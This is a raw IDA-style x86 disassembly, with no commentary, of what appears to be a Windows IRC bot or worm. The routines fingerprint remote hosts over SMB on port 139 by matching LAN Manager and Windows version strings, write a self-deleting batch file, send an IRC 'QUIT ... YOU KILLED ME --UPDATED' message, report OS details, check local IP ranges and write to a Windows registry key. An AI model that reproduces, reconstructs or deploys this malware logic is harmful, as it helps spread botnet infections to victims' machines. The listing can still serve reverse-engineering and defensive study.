		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6
		push	1
		xor	edi, edi
		push	2
		mov	[ebp+var_528], eax
		mov	[ebp+var_524], edi
		call	ds:dword_41E23C	; socket
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		cmp	esi, ebx
		mov	[ebp+var_520], esi
		jz	loc_4024DB
		push	10h
		lea	eax, [ebp+var_51C]
		push	edi
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	8Bh
		mov	[ebp+var_51C], 2
		call	ds:dword_41E234	; htons
		push	[ebp+var_528]
		mov	[ebp+var_51A], ax
		call	ds:dword_41E230	; inet_addr
		mov	[ebp+var_518], eax
		push	10h
		lea	eax, [ebp+var_51C]
		push	eax
		push	esi
		call	ds:dword_41E254	; connect
		cmp	eax, ebx
		jz	loc_4024DB
		push	100h
		lea	eax, [ebp+var_10C]
		push	edi

loc_40234F:				; DATA XREF: gwlw3lo.:00478C7Fr
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	edi
		push	48h
		push	offset unk_4254F0
		push	esi
		call	ds:dword_41E244	; send
		cmp	eax, ebx
		jz	loc_4024DB
		push	edi
		mov	edi, 0FFh

loc_402375:				; DATA XREF: gwlw3lo.:00478C85w
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		mov	esi, ds:dword_41E238
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_4024DB
		push	0
		push	33h
		push	offset dword_4254BC
		push	[ebp+var_520]
		call	ds:dword_41E244	; send
		cmp	eax, ebx
		jz	loc_4024DB
		push	0
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_520]
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_4024DB
		push	0

loc_4023C7:				; DATA XREF: sub_4780D7+1F3w
		push	4Ch
		push	offset dword_425540
		push	[ebp+var_520]

loc_4023D4:				; DATA XREF: sub_4780D7+204w
		call	ds:dword_41E244	; send
		cmp	eax, ebx
		jz	loc_4024DB
		push	0
		push	edi
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_520]
		call	esi	; recv
		cmp	eax, ebx
		jz	loc_4024DB
		lea	ebx, [eax-1]
		test	ebx, ebx
		jle	short loc_402456
		lea	esi, [ebp+ebx+var_10B]

loc_40240A:				; CODE XREF: sub_4022A6+1AEj
		mov	eax, [ebp+var_524]
		cmp	eax, 4

loc_402413:				; DATA XREF: sub_4780D7+9Bw
					; sub_47848C+3r
		jge	short loc_402456
		cmp	byte ptr [esi-1], 0
		jnz	short loc_402450

loc_40241B:				; DATA XREF: sub_4780D7+D2w
					; gwlw3lo.:00478202r ...
		dec	eax
		jz	short loc_402439
		dec	eax
		jz	short loc_40242C
		dec	eax
		jnz	short loc_40244A
		lea	eax, [ebp+var_20C]
		jmp	short loc_40243F
; ---------------------------------------------------------------------------

loc_40242C:				; CODE XREF: sub_4022A6+179j
		push	1FFh
		lea	eax, [ebp+var_40C]

loc_402437:				; DATA XREF: gwlw3lo.:004788BEr
		jmp	short loc_402440
; ---------------------------------------------------------------------------

loc_402439:				; CODE XREF: sub_4022A6+176j
		lea	eax, [ebp+var_50C]

loc_40243F:				; CODE XREF: sub_4022A6+184j
		push	edi

loc_402440:				; CODE XREF: sub_4022A6:loc_402437j
		push	esi
		push	eax
		call	sub_40D4A0
		add	esp, 0Ch

loc_40244A:				; CODE XREF: sub_4022A6+17Cj
		inc	[ebp+var_524]

loc_402450:				; CODE XREF: sub_4022A6+173j
		dec	ebx
		dec	esi
		test	ebx, ebx
		jg	short loc_40240A

loc_402456:				; CODE XREF: sub_4022A6+15Bj
					; sub_4022A6:loc_402413j
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aNtLanManager_ ; "NT LAN Manager *.*"
		call	sub_40286F
		test	eax, eax
		jz	short loc_40246E
		xor	eax, eax
		jmp	short loc_4024DE
; ---------------------------------------------------------------------------

loc_40246E:				; CODE XREF: sub_4022A6+1C2j
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aWindows2000Lan ; "Windows 2000 LAN	Manager*"
		call	sub_40286F
		test	eax, eax
		jz	short loc_4024B7
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset aWindows5_0 ; "Windows 5.0"
		call	sub_40D5D0

loc_402493:				; DATA XREF: sub_4780D7+1C0r
		test	eax, eax
		pop	ecx
		pop	ecx

loc_402497:				; DATA XREF: sub_4780D7+1DBr
					; gwlw3lo.:loc_478867r
		jnz	short loc_40249C
		inc	eax
		jmp	short loc_4024DE
; ---------------------------------------------------------------------------

loc_40249C:				; CODE XREF: sub_4022A6:loc_402497j
		lea	eax, [ebp+var_20C]
		push	eax

loc_4024A3:				; DATA XREF: sub_4780D7+24Ar
					; gwlw3lo.:00478841r
		push	offset aWindows5_1 ; "Windows 5.1"
		call	sub_40D5D0
		test	eax, eax

loc_4024AF:				; DATA XREF: sub_4787D0+2Dr
		pop	ecx
		pop	ecx
		jnz	short loc_4024B7

loc_4024B3:				; DATA XREF: sub_4780D7+1CEr
		push	2
		jmp	short loc_4024DD
; ---------------------------------------------------------------------------

loc_4024B7:				; CODE XREF: sub_4022A6+1DAj
					; sub_4022A6+20Bj
		lea	eax, [ebp+var_40C]
		mov	ecx, offset aWindowsServer2 ; "Windows Server 2003 *"
		call	sub_40286F
		test	eax, eax
		jz	short loc_4024CF

loc_4024CB:				; DATA XREF: gwlw3lo.:00478AC6r
					; gwlw3lo.:00478AE4r
		push	3
		jmp	short loc_4024DD
; ---------------------------------------------------------------------------

loc_4024CF:				; CODE XREF: sub_4022A6+223j
		push	[ebp+var_520]
		call	ds:dword_41E240	; closesocket

loc_4024DB:				; CODE XREF: sub_4022A6+40j
					; sub_4022A6+97j ...
		push	4

loc_4024DD:				; CODE XREF: sub_4022A6+20Fj
					; sub_4022A6+227j
		pop	eax

loc_4024DE:				; CODE XREF: sub_4022A6+1C6j
					; sub_4022A6+1F4j
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi

loc_4024E3:				; DATA XREF: gwlw3lo.:00478A0Dr
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_4022A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024ED	proc near		; CODE XREF: sub_404954+223p
					; sub_408ADE+199p

var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 170h
		mov	eax, dword_423068

loc_4024FB:				; DATA XREF: gwlw3lo.:00478C72r
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_402505:				; DATA XREF: gwlw3lo.:0047899Fr
		push	40h
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		mov	[ebp+var_16C], ebx
		call	sub_40CBA0
		xor	eax, eax
		mov	[ebp+var_124], ebx
		lea	edi, [ebp+var_120]
		stosd
		stosd
		mov	esi, 103h
		push	esi
		stosd
		lea	eax, [ebp+var_113]
		push	ebx
		push	eax
		mov	[ebp+var_114], bl
		call	sub_40CBA0
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		call	sub_40D9D9
		add	esp, 28h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_16C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		push	ebx
		call	ds:off_41E058
		mov	ecx, [ebp+var_8]
		test	eax, eax
		pop	edi
		setnz	al
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_4024ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402592	proc near		; CODE XREF: sub_4026EE+15Cp

var_23C		= byte ptr -23Ch
var_23B		= byte ptr -23Bh
var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 23Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		push	37h
		lea	eax, [ebp+var_3B]
		push	ebx
		push	eax
		mov	[ebp+var_3C], bl
		call	sub_40CBA0
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+var_23B]
		push	ebx
		push	eax
		mov	[ebp+var_23C], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+var_13B]
		push	ebx
		push	eax
		mov	[ebp+var_13C], bl
		call	sub_40CBA0
		add	esp, 24h
		push	100h
		lea	eax, [ebp+var_13C]
		push	eax
		push	ebx
		call	ds:dword_41E0E8	; GetModuleHandleA
		push	eax
		call	ds:dword_41E060	; GetModuleFileNameA
		lea	eax, [ebp+var_13C]
		push	eax
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset a@echoOff1DelSI ; "@echo	off\r\n:1\r\ndel \"%s\"\r\nif exist \"%s\" "...
		push	eax
		call	sub_40D658
		push	104h
		call	sub_40AF26
		mov	esi, eax
		push	esi
		call	sub_40CA3B
		add	esp, 18h
		dec	eax
		push	eax
		push	esi
		call	ds:dword_41E05C	; GetSystemDirectoryA
		call	sub_40D906
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D906
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D906
		push	18h
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_40D906
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40D906
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40D906
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+var_3C]
		push	edx
		push	esi
		push	offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat"
		push	eax
		call	sub_40D658
		push	esi
		call	sub_40CC1A
		lea	eax, [ebp+var_3C]
		push	offset aW	; "w"
		push	eax
		call	sub_40D797
		mov	esi, eax
		add	esp, 30h
		cmp	esi, ebx
		jz	short loc_4026E0
		lea	eax, [ebp+var_23C]
		push	eax
		push	offset aS	; "%s"
		push	esi
		call	sub_40D7AA
		push	esi
		call	sub_40DA67
		add	esp, 10h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41E1F0

loc_4026E0:				; CODE XREF: sub_402592+122j
		mov	ecx, [ebp+var_4]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
sub_402592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026EE	proc near		; CODE XREF: sub_404954+4EBp
					; sub_408ADE+1C5p

var_2A8		= byte ptr -2A8h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_28B		= byte ptr -28Bh
var_18C		= byte ptr -18Ch
var_18B		= byte ptr -18Bh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+var_298], eax
		lea	eax, [ebp+var_CB]
		push	ebx
		push	eax
		mov	[ebp+var_CC], bl
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_18B]
		push	ebx
		push	eax
		mov	[ebp+var_18C], bl
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [ebp+var_CC]
		push	eax
		push	ebx
		call	sub_402DAA
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	eax
		call	sub_40D5D0
		inc	esi
		push	esi
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 1Ch
		push	esi
		lea	eax, [ebp+var_18C]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	0FFh
		lea	eax, [ebp+var_28B]
		push	ebx
		push	eax
		mov	[ebp+var_28C], bl
		call	sub_40CBA0
		mov	eax, dword_433CAC
		mov	eax, [eax]
		mov	[ebp+var_290], eax
		mov	eax, offset dword_433CA8
		add	esp, 0Ch
		mov	[ebp+var_294], eax
		mov	[ebp+var_2A0], eax

loc_4027BE:				; CODE XREF: sub_4026EE+114j
		mov	eax, dword_433CAC
		lea	edi, [ebp+var_2A0]
		lea	esi, [ebp+var_294]
		mov	[ebp+var_29C], eax
		call	sub_402D8D
		test	al, al
		jz	short loc_402810
		push	offset aRm	; "RM"
		call	sub_402D3F
		add	eax, 5
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_402804
		lea	edi, [ebp+var_2A8]
		call	sub_402D5F
		jmp	short loc_4027BE
; ---------------------------------------------------------------------------

loc_402804:				; CODE XREF: sub_4026EE+107j
		call	sub_402D3F
		mov	eax, [eax]
		call	sub_4083C9

loc_402810:				; CODE XREF: sub_4026EE+EEj
		mov	edi, 100h
		push	edi
		lea	esi, [ebp+var_28C]
		mov	ebx, offset byte_4250C1
		call	sub_401AD1
		pop	ecx
		mov	eax, esi
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_405136
		add	esp, 0Ch
		push	edi
		mov	eax, esi
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		call	sub_402592
		push	[ebp+var_298]
		mov	edi, offset dword_426A1C
		push	offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n"
		call	sub_403E22
		pop	ecx
		pop	ecx
		push	0
		call	ds:off_41E090
		int	3		; Trap to Debugger
sub_4026EE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40286F	proc near		; CODE XREF: sub_4022A6+1BBp
					; sub_4022A6+1D3p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	cl, [eax]
		test	cl, cl
		push	edi
		jz	short loc_4028D8

loc_40287D:				; CODE XREF: sub_40286F+24j
		mov	dl, [esi]
		cmp	dl, 2Ah
		jz	short loc_402895
		cmp	dl, cl
		jz	short loc_40288D
		cmp	dl, 3Fh
		jnz	short loc_4028B3

loc_40288D:				; CODE XREF: sub_40286F+17j
		inc	esi
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40287D

loc_402895:				; CODE XREF: sub_40286F+13j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4028D8
		mov	edi, [ebp+var_4]

loc_40289E:				; CODE XREF: sub_40286F+5Fj
		mov	dl, [esi]
		cmp	dl, 2Ah
		jnz	short loc_4028B7
		inc	esi
		cmp	byte ptr [esi],	0
		jz	short loc_4028D2
		mov	[ebp+var_4], esi
		lea	edi, [eax+1]
		jmp	short loc_4028CA
; ---------------------------------------------------------------------------

loc_4028B3:				; CODE XREF: sub_40286F+1Cj
		xor	eax, eax
		jmp	short loc_4028E4
; ---------------------------------------------------------------------------

loc_4028B7:				; CODE XREF: sub_40286F+34j
		cmp	dl, cl
		jz	short loc_4028C8
		cmp	dl, 3Fh
		jz	short loc_4028C8
		mov	esi, [ebp+var_4]
		mov	eax, edi
		inc	edi
		jmp	short loc_4028CA
; ---------------------------------------------------------------------------

loc_4028C8:				; CODE XREF: sub_40286F+4Aj
					; sub_40286F+4Fj
		inc	esi
		inc	eax

loc_4028CA:				; CODE XREF: sub_40286F+42j
					; sub_40286F+57j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40289E
		jmp	short loc_4028D8
; ---------------------------------------------------------------------------

loc_4028D2:				; CODE XREF: sub_40286F+3Aj
		xor	eax, eax
		inc	eax
		jmp	short loc_4028E4
; ---------------------------------------------------------------------------

loc_4028D7:				; CODE XREF: sub_40286F+6Cj
		inc	esi

loc_4028D8:				; CODE XREF: sub_40286F+Cj
					; sub_40286F+2Aj ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_4028D7
		xor	eax, eax
		cmp	[esi], al
		setz	al

loc_4028E4:				; CODE XREF: sub_40286F+46j
					; sub_40286F+66j
		pop	edi
		pop	esi
		leave
		retn
sub_40286F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028E8	proc near		; CODE XREF: sub_402B71+2Ap
					; .text:00408D8Dp ...

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	0
		push	eax
		mov	[ebp+var_1C], 10h
		call	sub_40CBA0
		push	10h
		push	0
		push	esi
		call	sub_40CBA0
		add	esp, 18h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41E278	; getsockname
		movzx	eax, [ebp+var_11]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_13]
		push	eax
		movzx	eax, [ebp+var_14]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	0Fh
		push	esi
		call	sub_40CAE4
		push	esi
		call	sub_40C9B0
		mov	ecx, [ebp+var_8]
		mov	byte ptr [eax+esi], 0
		xor	ecx, ebp
		add	esp, 20h
		mov	eax, esi
		call	sub_40AFEE
		leave
		retn
sub_4028E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_402966	proc near		; CODE XREF: sub_403879+256p
					; sub_40479C+87p ...

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+74h+var_4], eax
		push	ebx
		push	esi
		lea	eax, [ebp+74h+var_98]
		push	eax
		mov	esi, ecx
		mov	[ebp+74h+var_98], 94h
		call	ds:dword_41E068	; GetVersionExA
		push	esi
		xor	ebx, ebx
		push	ebx
		push	edi
		call	sub_40CBA0
		add	esp, 0Ch
		cmp	[ebp+74h+var_94], 6
		jnz	short loc_4029AF
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_402A1A
		push	offset aVis	; "VIS"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029AF:				; CODE XREF: sub_402966+3Bj
		cmp	[ebp+74h+var_94], 5
		jnz	short loc_4029DB
		cmp	[ebp+74h+var_90], 2
		jnz	short loc_4029C2
		push	offset a2k3	; "2K3"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029C2:				; CODE XREF: sub_402966+53j
		cmp	[ebp+74h+var_90], 1
		jnz	short loc_4029CF
		push	offset aXp	; "XP"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029CF:				; CODE XREF: sub_402966+60j
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_402A1A
		push	offset a2k	; "2K"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029DB:				; CODE XREF: sub_402966+4Dj
		cmp	[ebp+74h+var_94], 4
		jnz	short loc_402A1A
		cmp	[ebp+74h+var_90], 5Ah
		jnz	short loc_4029EE
		push	offset aMe	; "ME"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029EE:				; CODE XREF: sub_402966+7Fj
		cmp	[ebp+74h+var_90], 1
		jnz	short loc_4029FB
		push	offset a98	; "98"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_4029FB:				; CODE XREF: sub_402966+8Cj
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_402A1A
		cmp	[ebp+74h+var_88], 2
		jnz	short loc_402A0D
		push	offset aNt	; "NT"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_402A0D:				; CODE XREF: sub_402966+9Ej
		cmp	[ebp+74h+var_88], 1
		jnz	short loc_402A2C
		push	offset a95	; "95"
		jmp	short loc_402A1F
; ---------------------------------------------------------------------------

loc_402A1A:				; CODE XREF: sub_402966+40j
					; sub_402966+6Cj ...
		push	offset aUnk	; "UNK"

loc_402A1F:				; CODE XREF: sub_402966+47j
					; sub_402966+5Aj ...
		lea	eax, [esi-1]
		push	eax
		push	edi
		call	sub_40CAE4
		add	esp, 0Ch

loc_402A2C:				; CODE XREF: sub_402966+ABj
		push	edi
		call	sub_40C9B0
		cmp	[ebp+74h+arg_0], bl
		pop	ecx
		mov	[eax+edi], bl
		jz	short loc_402AAD
		push	esi
		call	sub_40AF26
		mov	ebx, eax
		push	ebx
		call	sub_40CA3B
		push	eax
		push	0
		push	ebx
		call	sub_40CBA0
		add	esp, 14h
		push	[ebp+74h+var_8C]
		lea	eax, [ebp+74h+var_84]
		push	[ebp+74h+var_90]
		push	[ebp+74h+var_94]
		push	eax
		push	edi
		push	offset aOsMicrosoftWin ; "[OS: Microsoft Windows %s %s (%i.%i bui"...
		push	ebx
		call	sub_40CA3B
		pop	ecx
		dec	eax
		push	eax
		push	ebx
		call	sub_40CAE4
		push	ebx
		call	sub_40C9B0
		push	esi
		push	0
		push	edi
		mov	byte ptr [eax+ebx], 0
		call	sub_40CBA0
		push	ebx
		push	offset aS	; "%s"
		dec	esi
		push	esi
		push	edi
		call	sub_40CAE4
		add	esp, 40h
		push	edi
		call	sub_40C9B0
		push	ebx
		mov	byte ptr [eax+edi], 0
		call	sub_40CC1A
		pop	ecx
		pop	ecx

loc_402AAD:				; CODE XREF: sub_402966+D3j
		mov	ecx, [ebp+74h+var_4]
		pop	esi
		xor	ecx, ebp
		mov	eax, edi
		pop	ebx
		call	sub_40AFEE
		add	ebp, 74h
		leave
		retn
sub_402966	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AC0	proc near		; CODE XREF: .text:00409101p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		push	0
		push	esi
		call	sub_40CBA0
		add	esp, 0Ch
		cmp	[esp+arg_4], 0
		push	[esp+arg_0]
		push	esi
		jz	short loc_402AE2
		push	1002h
		jmp	short loc_402AE4
; ---------------------------------------------------------------------------

loc_402AE2:				; CODE XREF: sub_402AC0+19j
		push	7

loc_402AE4:				; CODE XREF: sub_402AC0+20j
		push	800h
		call	ds:off_41E050
		mov	eax, esi
		retn
sub_402AC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AF2	proc near		; CODE XREF: sub_4037A9+8p
					; sub_4037A9:loc_4037C2p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41E054	; QueryPerformanceCounter
		test	eax, eax
		jz	short loc_402B6E
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41E064
		test	eax, eax
		jz	short loc_402B6E
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D9F0
		push	0
		push	15180h
		push	edx
		push	eax
		call	sub_41B870
		push	0
		push	0E10h
		push	ebx
		push	ecx
		mov	dword_4265F8, eax
		mov	dword_4265FC, edx
		call	sub_41B870
		push	0
		push	3Ch
		push	ebx
		push	ecx
		mov	dword_426600, eax
		mov	dword_426604, edx
		call	sub_41D9F0
		mov	dword_426608, eax
		mov	dword_42660C, edx

loc_402B6E:				; CODE XREF: sub_402AF2+13j
					; sub_402AF2+21j
		pop	ebx
		leave
		retn
sub_402AF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B71	proc near		; CODE XREF: sub_40479C+EAp
					; sub_40936F+1CCp ...

var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		push	dword_426A1C
		mov	[ebp+var_14], 0
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp+var_14]
		stosb
		call	sub_4028E8
		pop	ecx
		mov	eax, esi
		mov	ecx, offset a192 ; "192*"
		call	sub_40286F
		test	eax, eax
		pop	edi
		pop	esi
		jnz	loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a10_ ; "10.*"
		call	sub_40286F
		test	eax, eax
		jnz	loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a111_ ; "111.*"
		call	sub_40286F
		test	eax, eax
		jnz	loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a15_ ; "15.*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a16_ ; "16.*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a101 ; "101*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a110 ; "110*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a112 ; "112*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a170_65__ ;	"170.65.*.*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a11_ ; "11.*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		lea	eax, [ebp+var_14]
		mov	ecx, offset a172 ; "172*"
		call	sub_40286F
		test	eax, eax
		jnz	short loc_402C6D
		xor	al, al
		jmp	short loc_402C6F
; ---------------------------------------------------------------------------

loc_402C6D:				; CODE XREF: sub_402B71+40j
					; sub_402B71+55j ...
		mov	al, 1

loc_402C6F:				; CODE XREF: sub_402B71+FAj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AFEE
		leave
		retn
sub_402B71	endp


; =============== S U B	R O U T	I N E =======================================



sub_402C7B	proc near		; CODE XREF: sub_404954+40Fp
					; .text:0040A64Bp ...
		and	dword_426610, 0
		push	0
		mov	dword_426614, 1Fh
		call	sub_40DAE3
		mov	edx, 3FFFFFFFh
		and	eax, edx
		pop	ecx
		mov	dword_426618, eax
		mov	dword_42661C, 1
		mov	eax, offset dword_426618
		push	esi

loc_402CB0:				; CODE XREF: sub_402C7B+48j
		lea	ecx, [eax+4]
		mov	esi, [ecx]
		add	esi, [eax]
		and	esi, edx
		mov	[eax+8], esi
		mov	eax, ecx
		cmp	eax, offset dword_4266EC
		jl	short loc_402CB0
		pop	esi
		retn
sub_402C7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_402CC7	proc near		; CODE XREF: sub_40306A+9Cp
					; sub_40A9C4+82p ...

arg_0		= dword	ptr  4

		xor	ecx, ecx
		push	ebx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		inc	ecx
		sub	ecx, eax
		add	ebx, ecx
		cmp	ebx, 1
		jle	short loc_402D3D
		push	2
		pop	ecx
		cmp	ebx, ecx
		jle	short loc_402CE7

loc_402CE1:				; CODE XREF: sub_402CC7+1Ej
		add	ecx, ecx
		cmp	ecx, ebx
		jl	short loc_402CE1

loc_402CE7:				; CODE XREF: sub_402CC7+18j
		mov	edx, dword_426610
		push	esi
		mov	esi, dword_426614
		push	edi
		lea	eax, [ecx-1]

loc_402CF8:				; CODE XREF: sub_402CC7+6Cj
		mov	ecx, dword_426618[esi*4]
		lea	edi, ds:426618h[edx*4]
		add	ecx, [edi]
		and	ecx, 3FFFFFFFh
		inc	edx
		cmp	edx, 37h
		mov	[edi], ecx
		jnz	short loc_402D18
		xor	edx, edx

loc_402D18:				; CODE XREF: sub_402CC7+4Dj
		inc	esi
		cmp	esi, 37h
		jnz	short loc_402D20
		xor	esi, esi

loc_402D20:				; CODE XREF: sub_402CC7+55j
		sar	ecx, 6
		and	ecx, eax
		cmp	ecx, ebx
		mov	dword_426610, edx
		mov	dword_426614, esi
		jge	short loc_402CF8
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		add	eax, ecx
		pop	esi

loc_402D3D:				; CODE XREF: sub_402CC7+11j
		pop	ebx
		retn
sub_402CC7	endp


